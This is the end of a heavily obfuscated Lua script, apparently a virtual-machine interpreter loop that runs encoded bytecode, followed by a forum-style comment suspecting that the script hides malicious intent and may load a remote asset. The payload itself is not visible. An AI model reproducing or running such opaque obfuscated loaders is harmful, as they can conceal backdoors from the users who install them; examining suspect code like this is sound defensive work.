xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("5n")],xD_lIllllllllllIlllllIlI[#("ZeN")]do xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=nil;end;xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("lAW")]]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("YB")]];xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];for xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("3Y")],xD_lIllllllllllIlllllIlI[#("udX")]do xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=nil;end;xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("MxT")]]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("X4")]];xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];for xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("iJ")],xD_lIllllllllllIlllllIlI[#("XdS")]do xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=nil;end;xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("cWa")]]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("5b")]];xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];for xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#{{718;162;576;240};{600;847;712;621};}],xD_lIllllllllllIlllllIlI[#("9LV")]do xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=nil;end;xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("hjS")]]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("61")]];xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("xs")]]=xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("f9s")]];else local xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllllllllllIlllllIlI[#("P1")]xD_IlIIIlIlllIIIIIIIlll[xD_lIlIIlIlIIllIIlIIlIlI]=xD_IlIIIlIlllIIIIIIIlll[xD_lIlIIlIlIIllIIlIIlIlI](xD_IllllIlIllIIIlIlIlIIlII(xD_IlIIIlIlllIIIIIIIlll,xD_lIlIIlIlIIllIIlIIlIlI+1,xD_lIllllllllllIlllllIlI[#("URc")]))end;elseif xD_lIllIIllllIIIlIlllIIIl<=#("HrHF6r93WJ1cpVnz")then if xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("EM")]]then xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;else xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllllllllllIlllllIlI[#{"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";}];end;elseif xD_lIllIIllllIIIlIlllIIIl==#("i8Hp5hvXiWua3UtfJ")then xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("xu")]]=xD_lllIlIll[xD_lIllllllllllIlllllIlI[#{{293;670;239;262};{690;55;139;955};"1 + 1 = 111";}]];else xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("CZ")]]=xD_lIllllllllllIlllllIlI[#("OAF")];end;elseif xD_lIllIIllllIIIlIlllIIIl<=#("Zcg0UHrzz2modN03iAK4M")then if xD_lIllIIllllIIIlIlllIIIl<=#("lRXFP33ZI6QuyvSso98")then xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("aU")]]=xD_lIllllllllllIlllllIlI[#("5NW")];elseif xD_lIllIIllllIIIlIlllIIIl>#("SDL4SRjaL3GPYP1Aco2y")then local xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllllllllllIlllllIlI[#("e6")]xD_IlIIIlIlllIIIIIIIlll[xD_lIlIIlIlIIllIIlIIlIlI]=xD_IlIIIlIlllIIIIIIIlll[xD_lIlIIlIlIIllIIlIIlIlI](xD_IllllIlIllIIIlIlIlIIlII(xD_IlIIIlIlllIIIIIIIlll,xD_lIlIIlIlIIllIIlIIlIlI+1,xD_lIllllllllllIlllllIlI[#{{918;558;296;983};"1 + 1 = 111";"1 + 1 = 111";}]))else xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("Ori")]]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("Gg")]];end;elseif xD_lIllIIllllIIIlIlllIIIl<=#("JupIToEkZlK6gBTg3X7T3nO")then if xD_lIllIIllllIIIlIlllIIIl>#("aHTFsp9hK9ihuv9DPZVS6T")then local xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllllllllllIlllllIlI[#("JN")];local xD_lIllIIllllIIIlIlllIIIl=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("u0q")]];xD_IlIIIlIlllIIIIIIIlll[xD_lIlIIlIlIIllIIlIIlIlI+1]=xD_lIllIIllllIIIlIlllIIIl;xD_IlIIIlIlllIIIIIIIlll[xD_lIlIIlIlIIllIIlIIlIlI]=xD_lIllIIllllIIIlIlllIIIl[xD_lIllllllllllIlllllIlI[#("rVuC")]];else xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("eeY")]]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("9J")]];end;elseif xD_lIllIIllllIIIlIlllIIIl>#("nitjC4ONvR0HlG91KlCvgrLV")then do return end;else local xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("S8")]local xD_lIllIIllllIIIlIlllIIIl,xD_lIlIIlIlIIllIIlIIlIlI=xD_IIIlIlll(xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI](xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI+1]))xD_IIIlIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+xD_lIllllllllllIlllllIlI-1 local xD_lIlIIlIlIIllIIlIIlIlI=0;for xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI,xD_IIIlIlIlI do xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=xD_lIllIIllllIIIlIlllIIIl[xD_lIlIIlIlIIllIIlIIlIlI];end;end;xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;end;end);end;return xD_lIlIIIIlII(true,{},xD_IIIlllllIlIlIlIII())();end)(string.byte,table.insert,setmetatable);

The script seems to be hiding its malicious intent and is not showing any signs of requiring another script. Did it print anything like “requiring asset XXXXXXX” on your end?